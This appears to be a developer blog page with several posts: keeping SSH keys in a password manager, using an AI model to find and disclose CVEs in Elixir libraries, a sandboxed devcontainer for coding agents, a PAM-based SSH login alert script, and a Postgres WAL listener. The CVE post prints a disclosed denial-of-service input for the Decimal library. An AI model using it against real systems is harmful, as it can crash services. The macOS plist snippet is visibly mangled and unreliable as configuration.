Peter Ullrich Blog

Store your SSH keys in a Password Manager

2026-06-08T06:00:00Z

Hey folks, this one is a quick one, but first:

I have a speed bump phobia. 

But I'm slowly getting over it now, which is nice.

Now, a quick suggestion: Store your SSH keys in a password manager, folks!

The Problem

It feels like every day, there's a new NPM hack that installs a malicious package on a developer's machine that steals their credentials, especially the private SSH keys that can be used to push to GitHub and SSH into connected servers. The worst part is that they won't notice it at all. The malware does a smash-and-grab: it fetches your private keys from ~/.ssh, uploads them to a command-and-control server, and leaves. This gives the attacker the time to change the code on their machine and push it back to GitHub and potentially to NPM and other package managers if the GitHub CI is set up to release new versions automatically.

The Solution

Just like you wouldn't store passwords in a text file on your computer, you shouldn't store your SSH keys as text files in .ssh either. Move them to a password manager!

I recently moved my SSH keys to Proton Pass, but other managers like 1Password support SSH keys as well. The setup process is pretty straightforward.

1. Move your SSH Keys to Proton Pass

First, copy your public and private SSH key pairs into the password manager. Proton Pass has a dedicated type under Create Item > Other > SSH Key. If your SSH key is password protected, either store the unencrypted version or store your decryption password in the same SSH key item as Password or Passphrase, but Proton Pass will try all hidden fields as passwords to decrypt the SSH key.

Next, install the Proton Pass CLI pass-cli and run pass-cli login.

Now, make sure that Proton Pass finds your SSH keys with:

> pass-cli ssh-agent debug --vault-name YourVaultName
SSH Agent Debug Report
Vault: YourVaultName (some-identifier)

✓ Valid SSH Keys (2):
  • SSH - id_ed25519
    Algorithm: Ed25519
    Fingerprint: SHA256:some-fingerprint

  • SSH - RSA
    Algorithm: RSA-3072
    Fingerprint: SHA256:some-fingerprint

At this point, I suggest moving your ~/.ssh/id_* keys into a backup folder like ~/.ssh/backup/id_*. This will move them out of the .ssh folder that is used by ssh by default so that you can test the integration with Proton Pass.

2. Start the SSH Daemon

Proton Pass supports running an SSH agent as a daemon that allows tools like git and ssh to fetch the SSH keys automatically. You can start the daemon with:

> pass-cli ssh-agent daemon start --log-file ~/.ssh/proton-pass-agent.log
Daemon started (PID: 12345)
PID file: /Users/youruser/.ssh/proton-pass-agent.pid
Log file: /Users/youruser/.ssh/proton-pass-agent.log
Logs: discarded (use --log-file to capture them)

To connect to the agent, set SSH_AUTH_SOCK:
    export SSH_AUTH_SOCK=/Users/youruser/.ssh/proton-pass-agent.sock

I added the optional --log-file argument here to store the agent's output to a log file. This makes it easier to debug and track SSH issues in the future.

Last step: Add this line to your shell's config like ~/.zshrc and restart your terminal session{}

export SSH_AUTH_SOCK="$HOME/.ssh/proton-pass-agent.sock"

Now you should see your SSH keys appear when you run:

> ssh-add -l
3072 SHA256:some-fingerprint SSH - RSA (RSA)
256 SHA256:another-fingerprint SSH - id_ed25519 (ED25519)

If you see an output like the one above, you're all set up now. You can run e.g. git pull on a private repo and should see that everything works as before.

3. Start the SSH Agent Automatically

If you restart your system, your SSH agent won't start automatically at this point. To fix this, follow the instructions for your operating system in the Proton docs.

On macOS, you have to do this:

Create the file at:

~/Library/LaunchAgents/com.proton.pass-cli.ssh-agent.plist

Add the following content to it:

xml version="1.0" encoding="UTF-8"?>
DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
  "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
  <key>Labelkey>
  <string>com.proton.pass-cli.ssh-agentstring>
  <key>ProgramArgumentskey>
  <array>
    <string>/Users/youruser/.local/bin/pass-clistring>
    <string>ssh-agentstring>
    <string>startstring>
  array>
  <key>RunAtLoadkey>
  <true/>
  <key>KeepAlivekey>
  <true/>
dict>
plist>

Then load it:

launchctl load ~/Library/LaunchAgents/com.proton.pass-cli.ssh-agent.plist

And that's it! Your SSH agent should now start automatically when you restart your system.

4. (Optional) Fix `~/.ssh/config`

If you have lines like IdentityFile ~/.ssh/id_ed25519 in your ~/.ssh/config you must either delete them or replace them with the following line:

Host somehost.com
-   IdentityFile ~/.ssh/id_ed25519
-   IdentitiesOnly yes
+   IdentityAgent ~/.ssh/proton-pass-agent.sock

One Caveat

Storing your SSH keys in a password manager doesn't make them completely inaccessible to your system and therefore: to attackers. If you run git push now, it will automatically fetch the SSH keys from Proton Pass to authenticate with GitHub. The only advantage here is that the SSH keys are no longer stored in a text file and malware can't simply copy and upload them. The downside is that malware can still execute commands like git push to push malicious code to your GitHub, or it can ssh into your server. The difference is that it now needs to execute these commands from your computer instead of from its warm and cosy home on the attacker's machine.

If you want to be even safer, there are two more steps you can take:

First, you can switch to 1Password which offers per-use biometric confirmation, which Proton Pass doesn't offer (yet). This means that you need to confirm every attempt to fetch your SSH keys with e.g. Touch ID or by typing your vault password. You can optionally set a timeframe in which you don't need to re-approve, which makes it easier to run multiple git commands without having to confirm each one in e.g. a 30-minute window.

I really hope that Proton Pass adds per-use biometric confirmations soon, but I have confidence given that they added SSH key support only recently.

Second, even safer than stored SSH keys are hardware keys like YubiKeys. You could replace your on-device SSH keys with a YubiKey for extra protection. It offers per-use confirmations which require you to touch the YubiKey briefly if a tool tries to read your SSH key. The downside of a physical device is obviously that if you lose it, you have to rotate your SSH keys, but this inconvenience buys you a lot more protection.

Whatever you choose: Please don't store your SSH keys in text files in ~/.ssh!

Conclusion

And that's it! I hope you enjoyed this article! If you want to support me, you can buy my book or video courses (one and two). Follow me on Bluesky or subscribe to my newsletter below if you want to get notified when I publish the next blog post. Until next time! Cheerio 👋

What the CVE?

2026-05-12T06:00:00Z

Hey folks,

let's start with a ceremonial dad joke:

The worst job I ever had was ranking soft drinks in order of fizziness. 

It was soda grading

Alright, now: What's going on with all these CVEs, Peter?!

The Beginning

When I went to ElixirConf EU in Málaga a few weeks back, I had quite a few conversations about the impact of LLMs on the security of our industry. Basically, everyone was scared of Mythos. The question was: Will AI make it easy to hack all our systems very soon?

After the conference, the Alembic folks invited me and some friends to spend an afternoon hacking at their apartment. I took the opportunity to put this question to the test. I didn't have access to Mythos (still don't), but I had Opus 4.7 with max effort, which seemed like the next best thing.

My setup was very simple and based on an Anthropic article which suggested to feed files 1-by-1 to Opus together with a narrow prompt focused on finding vulnerabilities. I had Claude write a small bash script that called Claude Code with one filepath at the time and instructed it to write its findings to a markdown file.

This simple setup proved to be extremely efficient. Within a few minutes, Opus found a major vulnerability in Decimal (since disclosed). Basically, the following code would cause the BEAM to use 7gb of RAM and crash:

"1e1000000000"
|> Decimal.new()
|> Decimal.add(1)

I remember testing this finding and seeing the BEAM's memory usage explode. This was my first oh fuck moment.

What happened after

I didn't really know what to do with such a finding so I reached out to Jonatan Männchen, the CISO of the EEF, and a person I already knew from various conferences. Jonatan was on his way to a well-deserved vacation, but still took the time to contact Eric, the author of Decimal, and asked him to enable GitHub's private vulnerability reporting. This allowed me to report the vulnerability in private and it allowed Eric to pull in other authors of libraries that were effected as well. It also made it easier to coordinate the release. I worked with Jonatan throughout his vacation (sorry!) on reporting the vulnerabilities I found.

If there's only one thing you take away from this article, please let it be that you should enable GitHub's private vulnerability reporting on your most used libraries.

It makes it so much easier to report vulnerabilities for everyone involved. It only takes 3 clicks per repo:

General advice: If you find a vulnerability and don't know what to do: Contact the EEF CNA via email cna@erlef.org. The CNA - and Jonatan in particular - are incredibly helpful and resourceful and I have been leaning heavily on their expertise and support (Thank you, Jonatan 💜)

What has happened since

After that first Decimal finding, I was hooked. I knew that the potential of LLMs finding and exploiting severe vulnerabilities was real. It was extremely cheap too! You can scan a library and write exploit scripts for $10 to $30 depending on the size of the library and the depth of your scan. This is insane. It scales easily, runs mostly automated, and has to be done only once. I knew we had to act fast.

I have since collaborated closely with Jonatan to scan and report vulnerabilities in the most downloaded Hex packages. You might have seen the CVEs for Bandit, PlugCowboy, Absinthe, or Phoenix. You can see the latest CVEs published on the EEF's CNA page: https://cna.erlef.org/cves/.

My plan is to keep scanning and reporting until we have fixed all severe vulnerabilities in the most popular Hex libraries. This should put us in a better position when malicious actors discover the BEAM ecosystem and start scanning and exploiting libraries at scale.

FAQs

Let me close this article by answering the most frequently asked questions I've received so far:

1: Which prompts do you use and are they open source?

Yes. I just open-sourced them here. I use 3 different strategies: per_file, per_file_deep, and whole, where per_file is the cheapest and fastest strategy that still finds 80-90% of the most severe vulnerabilities. For important projects, I also run per_file_deep which is largely based on the prompts by the Scrutineer project. I also have a whole strategy which allows Claude to explore an entire project by itself, but it doesn't work that well, takes longer, and costs more, so I don't run it often. I'm hoping that Mythos will do better with this strategy, so I keep it.

2: Are you going to retire soon with all the money you receive from reporting CVEs?

No. I have received no money so far for this work. AFAIK there's no bug bounty program on any of the libraries I've scanned. Until now, I have done this at my own expense which includes one Claude Max 20 plan plus a lot of my free time including weekends, evenings, and holidays. I see it as a contribution to the ecosystem.

3: What do you think about Mythos?

I had no access to it yet, but from reports of people that I respect like Daniel Stenberg I think that it will be better than Opus 4.7 at finding vulnerabilities, but it won't be a completely new thing. My gut feeling is that where Opus finds 80-85% of the vulnerabilities, Mythos might find 90-95%. That's why I think it's important to start now with what we have (Opus 4.7 on max effort) and then re-scan everything once Mythos becomes available.

4: How does the reporting and disclosure process look like?

The CVE Numbering Authority (CNA) of the EEF has a full guide on this here: https://cna.erlef.org/security-policy

And general guidelines for responsible disclosure here: https://security.erlef.org/security_vulnerability_disclosure

But in essence: If you don't have the GitHub private vulnerability reporting enabled on your library, I or someone from the CNA will reach out to you and ask you to enable it or ask how we can otherwise report the vulnerability. If you enable it, I will send you a report through there and it will look similar to a PR discussion. It will have a description of the vulnerability and a script that reproduces the vulnerability.

GitHub allows you to create a temporary private fork of your library to which you can add the fix. I can review the PR if you want. Once you and the CNA are ready, you publish the report, merge in the fix, and create a new release. The CNA publishes the CVE, usually within minutes to hours. The users of your library will then have to upgrade to the new version. That's it really. It seems more dramatic than it really is.

A Devcontainer for Elixir

2026-03-18T06:00:00Z

Hey folks! First, a joke:

What’s the worst vegetable to bring on a boat? 

A leek

Now, let's talk about devcontainers for Elixir.

The Problem

Claude now writes 95% of my code. I've been lukewarm about the whole "AI" hype until Opus 4.5 was released. It was a game-changer for me. Sonnet was alright for small stuff with very guided instructions and it was a small net benefit for me, but Opus 4.5 was the first good model in my opinion. It's still not perfect and probably will never be. At least I feel comfortable giving it less specific instructions knowing that it will produce something slightly better than absolute dogshit.

This comfort allowed me to point Opus at larger and more complex problems, like migrating a Ruby library into Elixir or building a complex UI and generating its database model too.

I wanted to let Opus "do its thing" without me having to click "Yes, Yes, Yes" all the time, but I also wanted to avoid an OpenClaw moment like Opus uploading my SSH keys to GitHub. Claude comes with the --dangerously-skip-permissions flag which allows the agent to "run free". Some call it the YOLO or "Danger" mode because it might break your computer or upload your secrets to the web.

So, I knew that I needed to create a safe environment for Opus to run in and devcontainers seemed to provide exactly that.

The Solution

Devcontainers have been around for a while, but I think they were used primarily to spin up dev environments in the cloud. Now, with the advent of "agentic programming", they've come in handy to separate the agent from the host system.

In essence, devcontainers are just Docker containers that you spin up locally and run your agent in. That's it.

Starting a Docker container is easy. The tricky part is to restrict the agent to only the things it actually needs.

For example, it should not follow links to nefarious sites and download their malware. Or it should never post anything to Pastebin. Also, it should not read the secrets in your .env files or remove your root directory.

Now, let's dive into how I ended up building my own devcontainer for Elixir.

The Setup

I started by searching for existing devcontainers for Elixir/Phoenix, but found nothing specific. So, I looked at Anthropic's example devcontainer and that became the starting point to build my own.

You can find the final devcontainer I use every day on GitHub.

The base of my devcontainer was Anthropic's Dockerfile, but I made the following changes to it:

Replace the node base image with Hex.pm's Elixir/Erlang image
Run the container as a non-root user
Install Tidewave by default

This gave me a more secure and Elixir-based devcontainer, but it was still missing three things: A better firewall, protected paths, and CLI commands.

The Firewall

Anthropic's devcontainer restricts outgoing network traffic to a list of IPs that are resolved when you build the container. These hard-coded IPs don't work well if the domain you want to connect to uses a load-balancer or servers on multiple IPs (like claude.ai). At build-time, Docker might resolve a domain to one IP, but when Claude runs the HTTP request, it might connect to a different IP and the request gets blocked.

I decided to replace this flaky setup with domain-based traffic restrictions. So, instead of allow-listing individual IPs, I'd allow-list entire domains instead. Setting this up was surprisingly difficult and took the most time when creating the devcontainer.

I tried out a multitude of proxies like TinyProxy and 3Proxy, but none of them handled both SSL and non-SSL traffic and domain-level filtering well. I ended up using Squid because, although it is overpowered, it worked well without too much configuration.

Using Squid and a little bit of bash, I was able to define the allow-list of domains in a single .txt file and Squid would restrict all outgoing traffic to only these domains, blocking everything else.

Protected Paths

Next, I wanted to make it easy to "hide" files like .env from Claude. Even if you tell Claude that it MUST never read them, it can and will still do it. The best option would be to remove them from my project entirely, but that's also not practical since I needed these secrets.

I ended up mounting empty files and folders over the list of protected paths in the devcontainer. This way Claude still sees the files, but they are empty, at least in the container. I also added the protected paths as deny rules to Claude's project-wide settings.json file. This won't stop Claude from listing or even reading the files, but at least it will try less often.

I inject the needed env variables into the container, so Claude could still run echo $MY_SECRET and get the secret. That's why even with all these layers of protection, I make sure to never use production secrets in my .env file.

CLI Commands

Lastly, I added a Makefile with shortcuts for the commands I use often, like to start, stop, or rebuild the devcontainer, to start Tidewave, print out logs, or start the Phoenix server. This makes developing with the devcontainer a bit smoother.

Conclusion

And that's it! I hope you enjoyed this article! If you want to use the devcontainer or extend it, you can find it on GitHub.

If you want to support me, you can buy my book or video courses (one and two). Follow me on Bluesky or subscribe to my newsletter below if you want to get notified when I publish the next blog post. Until next time! Cheerio 👋

Monitor SSH Logins with Push Notifications

2026-03-14T06:00:00Z

Hey folks, welcome back! First a joke:

Why did the Mexican start taking anti-anxiety medication? 

For Hispanic attacks

Now, a quick tip on how to notify yourself if someone (hopefully yourself) logs into your server using SSH.

The Problem

I've migrated all my apps from various hosting providers to my own Hetzner bare metal server recently. It works fantastically, but now with all my eggs in a single, self-managed server, I got a bit worried about getting hacked.

In particular, I wanted to make sure that nobody gets into my server through SSH but me. So, I asked Claude to write me a little script that sends a notification to my phone via Pushover whenever an SSH session is started.

Here's the script:

# File at /opt/ssh-notify.sh

#!/bin/bash
if [ "$PAM_TYPE" = "open_session" ] \
    && [ -n "$PAM_RHOST" ] \
    && [[ ! "$PAM_RHOST" =~ ^(10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.) ]]; then
    curl -s \
        -F "token=YOUR_APP_TOKEN" \
        -F "user=YOUR_USER_KEY" \
        -F "title=SSH Login" \
        -F "message=SSH login by $PAM_USER from $PAM_RHOST on $(hostname)" \
        https://api.pushover.net/1/messages.json
fi

This script runs whenever an open_session event occurs, which means that someone logged into my server through SSH. It ignores login attempts from Docker and other local services from the same machine or from the private network by filtering out IPs in the private ranges of 10.*.*.*, 172.16.*.*, and 192.168.*.*. If an SSH session was started from an external IP, it sends me a message through the Pushover API, which has a generous free plan.

To enable the script, we need to make it executable with:

chmod +x /opt/ssh-notify.sh

And then we need to add it to our PAM ssh config with:

echo "session optional pam_exec.so /opt/ssh-notify.sh" >> /etc/pam.d/sshd

Now, when I open an SSH session with my server, I receive the following notification on my phone within seconds:

Nice, it works! "But why?" you might ask.

The PAM

The PAM is a suite of Pluggable Authentication Modules that handle authentication and session management across various services. It allows us to add scripts as "hooks" to specific services, all of which can be found in /etc/pam.d/.

The Linux PAM modules manage who can log in, how they can log in (e.g. password, ssh key), and what happens when they open or close a session.

By adding our script under /etc/pam.d/sshd, PAM will execute it whenever an SSH session opens or closes, hence the if condition on "$PAM_TYPE" = "open_session". We made the script optional, so the session will still open even if our script fails. We don't want Pushover to block our SSH sessions if it has an outage for example.

Conclusion

Listen to Database Changes through the Postgres WAL

2025-11-03T06:00:00Z

Welcome back, friends!

Did you hear the news about the inventor of the Knock-Knock joke?

He got a No-bell prize.

Alright, this post will be a bit longer since we'll dive deeply into the Postgres WAL and will explore how to listen for database changes through it.

The Problem

Let's say you want to react to changes in your Postgres database, for example to send out realtime notifications or to track the changes in an audit log. You consult Google (or let's be honest: your favorite LLM) and learn about NOTIFY/pg_notify and triggers.

NOTIFY/pg_notify

You decide to try pg_notify on a small, not so active database table. It works! Great.

You roll it out to a larger, much more active database table. It works, but suddenly your query times explode! Instead of doing 1 million transactions per second* you can now do only 3 (*These numbers were exaggerated for dramatic effect)

So, what happened?

The problem with Postgres' NOTIFY is that all notifications go through a single queue!

Even if you have 20 database connections making 20 transactions in parallel, all of them need to wait for their turn to lock the notification queue, add their notification, and unlock the queue again. This creates a bottleneck especially in high-throughput databases.

pg_notify also has other limitations:

Its notification size is limited to 8000 bytes. This might not be enough to send all the data in the notification and you'll need to query the database for the full dataset which adds additional load to your database.
It does not wait for an acknowledgment of the listener and does not retry messages which means if your listener is dead or can't receive the message, the notification is lost.
If you call pg_notify or NOTIFY inside a trigger, it will get called 100,000 times and send out 100,000 notifications if you change 100,000 rows in a single transaction which from a performance perspective is ... not ideal.

You realize that pg_notify doesn't work for you. But there must be another way, right?

There is and it's called the Postgres Write-Ahead Log (WAL).

The WAL 🐳

In short, the WAL is a log of every change to your database. Every transaction must save its changes to both the WAL and the data pages, or it will be rolled back.

The WAL's main benefit is that it lets Postgres delay writing data pages to disk after a transaction finishes. Without the WAL, Postgres would have to save all changes to disk right after a transaction completes. If it didn't and the system crashed, the changes would be lost.

With the WAL, Postgres only needs to write one file to disk (the WAL) and can wait to write the data pages later. If a crash happens, it can recreate the data pages from their latest version on disk and the changes tracked in the WAL. This significantly reduces the writes to disk, which are slow compared to changing a row in memory, and it allows Postgres to support much higher transaction throughputs.

The WAL allows Postgres to support a range of other functionalities as well like:

Database replication - replaying the WAL's changes on a follower database is the most common method for creating database replicas
Online/streamed backups - following the WAL means you can have database backups that are always up-to-date. Without the WAL, you'd need to take snapshots at a high frequency and would still miss the latest changes!
Point-in-time recovery (PITR) - did you ever wonder how a database provider can rebuild your database at a specific point in time? By recording the WAL and rebuilding your database based on its changes up to that time!
Change Data Capture (CDC) - the WAL enables listening to database changes in real-time, which is what this post is all about! You can use it to send notifications and maintain audit logs, all without having to change your application code.

Now, let's see how we can listen to the WAL using Elixir.

Previous Art

The following code was heavily inspired by this exploration, written by my friend Filipe Cabaço, who nerd-sniped me into this topic, which caused me to write about it, which eventually forced you to read about it! So, now you know who to blame if you're unhappy with this post ;-)

Also, a warning that the following code wasn't tested in production. See Supabase's Realtime repo for a production-ready solution (and blame Filipe for any bugs who has written a large chunk of it).

I'll introduce the solution piece-by-piece but you can find the complete and final version on my GitHub

The Database

Creating a listener for the WAL requires a few steps. The first is to configure your Postgres database to store logical WAL records as well. We will do that by setting the wal_level of your database.

The wal_level is similar to a log level and it determines how much information is written to the WAL.

By default, it is set to replica which stores enough information to replicate the database, recover lost state after a crash, and enable point-in-time recovery. It balances overhead with functionality and serves well as a default.

If you don't need the functionality of the replica level, you can set your database to track only minimal records. This level supports crash recovery, but not database replication or point-in-time recovery. It is faster than replica though.

For our use-case, we need the third level, logical. This level stores the same data as replica but also tracks changes in a more high-level format of what changed (e.g. "a row with these values was inserted into this table") rather than how it changed (e.g. "these bytes were written to this page"). It can lead to significantly more overhead, especially if you configured tables with REPLICA IDENTITY FULL or make many UPDATE or DELETE calls, so keep an eye on your database usage levels after changing the wal_level.

Side-note

If you read up on the WAL, you might encounter the topic of physical vs logical database replication. These terms are related to the wal_level but are not exactly the same.

Physical replication means to replicate a database byte-by-byte based on the replica WAL records. These records track low-level operations like removing stale objects (e.g. VACUUM) or updating indices (e.g. INSERT_LEAF) as well as the INSERT etc. operations that actually change the data. If you replicate a database "physically", it means that your replica database will perform the exact same actions (e.g. removing old WAL records) as the primary database which gives you as close to a "physical" copy of the original database as possible.

Logical replication means that your replica database only applies the high-level logical WAL records to its state but does its own housekeeping like vacuuming or creating indices. This doesn't give you a perfect clone which is always in exactly the same state as your primary database, but it gives you a copy of the data.

Both replication types have their trade-offs. Physical replication is faster and creates a perfect byte-for-byte copy. However, it requires the replica to run the same Postgres version and architecture as the primary. Logical replication works across different Postgres versions, lets you replicate only specific tables, and allows the replica to have different indexes or even additional tables. But it comes with more overhead and requires the logical wal_level which stores more data in the WAL. It also requires you to run migrations against the replica database yourself since it does not replicate changes to the database structure.

Now, back to the wal_level. Let's first change the wal_level of our database to logical. Open up an editor connection to your database and run:

-- Check the current level
SHOW wal_level;

-- Change the level to 'logical'
ALTER SYSTEM SET wal_level='logical';

You need to restart your database for the configuration to take effect. Once it's restarted, you can check the wal_level with:

SHOW wal_level;

It should now return logical.

CI and Docker Configuration

If you run Postgres using Docker, you need to add a startup command to configure the wal_level:

services:
  postgres:
    image: postgres:18
    env:
      ...
    command: ["postgres", "-c", "wal_level=logical"]

In your CI, you can start the database like this:

- name: "Set PG settings"
  run: |
    docker exec ${{ job.services.postgres.id }} sh -c 'echo "wal_level=logical" >> /var/lib/postgresql/data/postgresql.conf'
    docker restart ${{ job.services.pg.id }}

Code snippets come from the Postgrex.ReplicationConnection documentation

Interlude

Before we continue, I need to tell you about publications and replication slots and about the difference between temporary and persistent replication slots.

Publications

First, a Publication is a way to tell Postgres which tables and operations (inserts, updates, deletes) you want to track. Think of it as an event "topic" which will only broadcast events for the tables and operations you have specified. Here's an example:

CREATE PUBLICATION active_user_publication
    FOR TABLE users
    -- Filters are available only from Postgres 15+
    WHERE (active IS TRUE)
    WITH (publish = 'insert,delete');

The publication above will publish only the INSERT, DELETE, BEGIN, and COMMIT events for the active users in the users table.

Here's another example:

CREATE PUBLICATION everything_publication FOR ALL TABLES;

This publication will publish all events (BEGIN, INSERT, UPDATE, DELETE, and COMMIT) for all rows and tables. It might be a lot, so when you add your listener, rather restrict the publication to only what you need. You can always change a publication later with a ALTER PUBLICATION call.

Alright, now you know about publications and how to create them. Next, let's dive into replication slots.

Replication Slots

A Replication Slot is a separate copy of the WAL just for our use-case, which is a WAL listener. It tracks how far the listener has read through the WAL and removes WAL records only once the listener has acknowledged them. By using a separate copy of the WAL, we can keep records that the listener hasn't processed yet, even if they've been deleted from the original WAL. It also lets us resend records if the listener crashes.

Now, if you had a peek at Filipe's or Supabase's implementation above, you might have spotted that they use a temporary replication slot. The reason for this is that replication slots can create serious problems for the database if we don't consume them. They will keep on growing until they fill up all disk space allocated to the WAL because Postgres deletes their WAL records only after we consume them.

A temporary replication slot avoids this issue because Postgres deletes it whenever we lose connection to the database. So, if our listener crashes or we remove the listener from our application, Postgres will automatically clean up the replication slot for us which is great from a not-taking-down-the-database perspective.

The downside of using a temporary replication slot is that we have to keep the listener online at all times if we want to listen to all database changes. You might see the problem with this already. If the listener is offline, it will miss change events which is not great from a not-missing-any-events perspective.

If never missing a database change is important to you, a persistent replication slot might be the better choice. Postgres will always write WAL records to it, even if your listener is offline. When it comes back online, the replication slot will send the WAL records it has missed. If the listener crashes before it can acknowledge the records, the replication slot will resend them when the listener restarts.

Be warned though that persistent replication slots allow only one connection, so you can have only one listener at a time. Also, every implementation I've seen in my research for this post has warned against using a persistent slot, but other than filling up the disk, I have yet to understand what other downsides it brings.

Alright, now with these pros and cons in mind, let's continue. I will show you how to create a persistent replication slot. If you want a temporary one, have a look at Supabase's implementation above.

The Migrations

We need two migrations, one to create the publication and one to create the replication slot. We can't use a single migration for both because we must create the replication slot in its own transaction and Ecto wraps a migration into a single transaction. So, two migrations it is.

First, create the publication migration with:

mix ecto.gen.migration create_wal_publication

In there, create your publication:

defmodule Wal.Repo.Migrations.CreateWalPublication do
  use Ecto.Migration

  def change do
    # Adding this extension is optional but helps with
    # debugging WAL messages inside Postgres.
    #
    # It's not needed to listen to the WAL but we'll use
    # it for debugging purposes. It is available from
    # Postgres 15 onwards. If you're on an older version
    # of Postgres: Why?
    execute """
            CREATE EXTENSION IF NOT EXISTS pg_walinspect;
            """,
            """
            DROP EXTENSION IF EXISTS pg_walinspect;
            """

    # Define your publication below:
    execute """
            CREATE PUBLICATION wal_listener_publication FOR ALL TABLES;
            """,
            """
            DROP PUBLICATION IF EXISTS wal_listener_publication;
            """
  end
end

Alright, now let's create the persistent replication slot with:

mix ecto.gen.migration create_wal_replication_slot

And add the following to the new file:

defmodule Wal.Repo.Migrations.CreateWalReplicationSlot do
  use Ecto.Migration

  def change do
    execute """
            SELECT pg_create_logical_replication_slot('wal_listener', 'pgoutput', false);
            """,
            """
            SELECT pg_drop_replication_slot('wal_listener');
            """
  end
end

Let's take a look at the arguments of the pg_create_logical_replication_slot/3 call.

The first argument (wal_listener) is the name of your replication slot. Next, the argument (pgoutput) defines the output plugin the replication slot should use to convert the raw WAL record to a readable output format. pgoutput is the default and comes with Postgres but we could also use other plugins like wal2json. The third argument false means that this replication slot is not temporary.

Alright. Now, if you execute these two migrations with mix ecto.migrate, you should see the following records in your database:

> SELECT * FROM pg_publication;
oid   pubname                  pubowner puballtables pubinsert pubupdate pubdelete pubtruncate pubviaroot pubgencols
16409 wal_listener_publication 10       TRUE         TRUE      TRUE      TRUE      TRUE        FALSE      n

> SELECT * FROM pg_replication_slots;
slot_name    plugin   slot_type datoid database temporary active active_pid xmin catalog_xmin restart_lsn confirmed_flush_lsn wal_status safe_wal_size two_phase two_phase_at inactive_since               conflicting invalidation_reason failover synced
wal_listener pgoutput logical   26370  wal_dev  FALSE     FALSE  NULL       NULL 142253       4/4FC8CB80  4/4FC8CBB9          reserved   NULL          FALSE     NULL         2025-10-27 14:30:54.98639+00 FALSE       NULL                FALSE    FALSE

If you see an output similar to the one above, your migrations successfully created the publication and replication slot we need to listen to the WAL. So, let's do that next.

The Listener

As with so many things in the BEAM ecosystem, we can build our WAL listener on top of the shoulder of giants, in this case the Postgrex.ReplicationConnection which handles the low-level communication with Postgres for us. Here is the first part of our Listener module:

defmodule Wal.Replication do
  use Postgrex.ReplicationConnection

  require Logger

  def start_link(_opts) do
    config = Wal.Repo.config()

    # Automatically reconnect if we lose connection.
    extra_opts = [
      auto_reconnect: true
    ]

    Postgrex.ReplicationConnection.start_link(
      __MODULE__,
      :ok,
      extra_opts ++ config
    )
  end

  @impl Postgrex.ReplicationConnection
  def init(:ok) do
    {:ok, %{messages: [], relations: %{}}}
  end

  @impl Postgrex.ReplicationConnection
  def handle_connect(state) do
    query =
      """
      START_REPLICATION SLOT wal_listener
      LOGICAL 0/0
      (proto_version '1', publication_names 'wal_listener_publication')
      """

    Logger.debug(query)
    {:stream, query, [], state}
  end
end

Now, what happens here?

First, we pull in all the nitty-gritty low-level logic necessary to connect, reconnect, query, and stream from Postgres with just one line:

use Postgrex.ReplicationConnection

Next, we define the start_link/1 function to start the listener. We pull in the already existing database configuration from our Repo with Wal.Repo.config(). This allows us to connect the WAL listener to our application database without having to duplicate the connection configuration but you could also provide your own connection details.

We add the extra option auto_reconnect: true to instruct Postgrex to automatically reconnect our ReplicationConnection. And lastly, we call the start_link/3 function on Postgrex.ReplicationConnection which uses :gen_statem and the Postgrex.Protocol to create a database connection for us.

Now that we defined how to start the listener, we must implement the init/1 callback. It simply returns our initial state with is %{messages: [], relations: %{}}. The messages list will hold the WAL messages we receive from Postgres until we can handle them and the relations map will hold information about the tables in which the WAL changes occurred. But more about these later.

Lastly, we implement one optional callback handle_connect/1. This callback allows us to send a query to Postgres after the database connection was established.

START_REPLICATION SLOT wal_listener
    LOGICAL 0/0
    (proto_version '1', publication_names 'wal_listener_publication')

With this query, we tell Postgres that it can start sending the logical WAL records from the wal_listener replication slot our way. We tell it to start at the Log Sequence Number (LSN) 0/0, which is the very first record ever recorded. This doesn't mean it will send us all WAL records ever created though.

Our replication slot starts tracking WAL records only after we create it and it doesn't backfill records that happened before. So, unless we create our replication slot before we store a single row, it will miss WAL records, just keep that in mind.

Lastly, we provide the options proto_version and publication_name. The publication name is the publication we've created before. As proto version, we use version 1. You can also use proto version 2, 3, or 4 which are useful if you have very large transactions or two-phase transactions.

On proto version 1, Postgres will wait until very large transactions commit and only then send the WAL records, but in version 2 and 4, it will send the records while the transactions are still in progress, optionally in parallel on version 4. Version 3 supports two-phase commits, which are useful to prepare and commit distributed transactions in multiple databases at once.

If you need these advanced features, make sure to also add the streaming 'on' or 'parallel' option for streaming in-progress transactions and the two_phase TRUE options to the START_REPLICATION query.

Alright, now that we told Postgres to start sending WAL records our way, let's see how we can receive and decode the messages, starting with the keep-alive heartbeat.

Handling Heartbeats

If you look at the docs of START_REPLICATION, you'll see that Postgres will send us two types of messages: XLogData and the Primary Keep-Alive Message. XLogData contains the data of one logical WAL record in binary format. The Primary Keep-Alive Message is a heartbeat from Postgres to our listener and has four purposes:

It checks that our listener is still alive, hence the name. If our listener fails to respond, Postgres will close the connection.
It tells the listener that our Postgres instance is still alive and our replication slot is active.
It provides the LSN of the latest WAL record our replication slot has recorded.
It gives the listener the opportunity to acknowledge the XLogData messages it has received since the last keep-alive message by replying with a Standby Status Update or Hot Standby Feedback message.

Let's implement the last step, which is to receive and to reply to a keep-alive message.

Here's how the listener handles this:

# Primary Keep Alive Message
# https://www.postgresql.org/docs/current/protocol-replication.html#PROTOCOL-REPLICATION-PRIMARY-KEEPALIVE-MESSAGE
@impl Postgrex.ReplicationConnection
def handle_data(<<?k, wal_end::64, _server_time::64, should_reply::8>>, state) do
  messages =
    case should_reply do
      # Standby Status Update
      # https://www.postgresql.org/docs/current/protocol-replication.html#PROTOCOL-REPLICATION-STANDBY-STATUS-UPDATE
      1 -> [<<?r, wal_end + 1::64, wal_end + 1::64, wal_end + 1::64, current_time()::64, 0>>]
      0 -> []
    end

  Logger.debug("Responding to keep alive: #{should_reply} - #{inspect(messages)}")

  {:noreply, messages, state}
end

Our handle_data/2 callback receives both the keep-alive and XLogData messages. Here, we match against the keep-alive message which starts with the character k. After the identifier, we receive the latest LSN our replication slot has recorded, the server time, and a one byte flag should_reply which Postgres might set if it wants to know that our listener is still active.

If we should reply, we respond with a Standby Status Update message. This message starts with an r as identifier, followed by the LSN of the last message that we have received and written to disk (first LSN), that we have flushed to disk (second LSN), and that we have applied (third LSN). In this case, we are not too sensitive about losing messages, which is why we simply return the last LSN from the server three times, assuming that we have received and processed all messages it has sent to us successfully.

